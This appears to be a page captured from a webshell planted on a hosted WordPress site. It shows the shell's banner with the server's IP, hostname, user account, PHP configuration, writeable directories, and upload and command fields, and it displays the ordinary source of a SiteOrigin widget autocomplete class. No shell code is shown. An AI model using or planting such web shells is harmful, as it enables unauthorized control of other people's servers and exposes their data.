403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.146
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www2/wp-content/plugins/so-widgets-bundle/base/inc/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www2/wp-content/plugins/so-widgets-bundle/base/inc/fields/autocomplete.class.php
<?php

/**
 * Class SiteOrigin_Widget_Field_Autocomplete
 */
class SiteOrigin_Widget_Field_Autocomplete extends SiteOrigin_Widget_Field_Text_Input_Base {

	/**
	 * An array of post types to use in the autocomplete query. Only used for posts.
	 *
	 * @access protected
	 * @var array
	 */
	protected $post_types;

	/**
	 * Indicates which database table will be used to retrieve autocomplete suggestions.
	 * Currently only `posts` and `terms` are allowed.
	 *
	 * @access protected
	 * @var string
	 */
	protected $source;

	/**
	 * The CSS classes to be applied to the rendered text input.
	 */
	protected function get_input_classes() {
		return array( 'widefat', 'siteorigin-widget-input', 'siteorigin-widget-autocomplete-input' );
	}

	protected function get_default_options() {
		$defaults = parent::get_default_options();
		$defaults['source'] = 'posts';
		return $defaults;
	}

	protected function render_after_field( $value, $instance ) {
		$post_types = ! empty( $this->post_types ) && is_array( $this->post_types ) ? implode( ',', $this->post_types ) : '';
		?>
		<div class="existing-content-selector">

			<input type="text" class="content-text-search"
			       data-post-types="<?php echo esc_attr( $post_types ) ?>"
			       data-source="<?php echo esc_attr( $this->source ) ?>"
			       placeholder="<?php esc_attr_e( 'Search', 'so-widgets-bundle' ) ?>"/>

			<ul class="items"></ul>

			<div class="buttons">
				<a href="#" class="button-close button"><?php esc_html_e('Close', 'so-widgets-bundle') ?></a>
			</div>
		</div>
		<?php
		parent::render_after_field( $value, $instance );
	}

	function enqueue_scripts() {
		wp_enqueue_script( 'so-autocomplete-field', plugin_dir_url( __FILE__ ) . 'js/autocomplete-field' . SOW_BUNDLE_JS_SUFFIX .  '.js', array( 'jquery' ), SOW_BUNDLE_VERSION );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit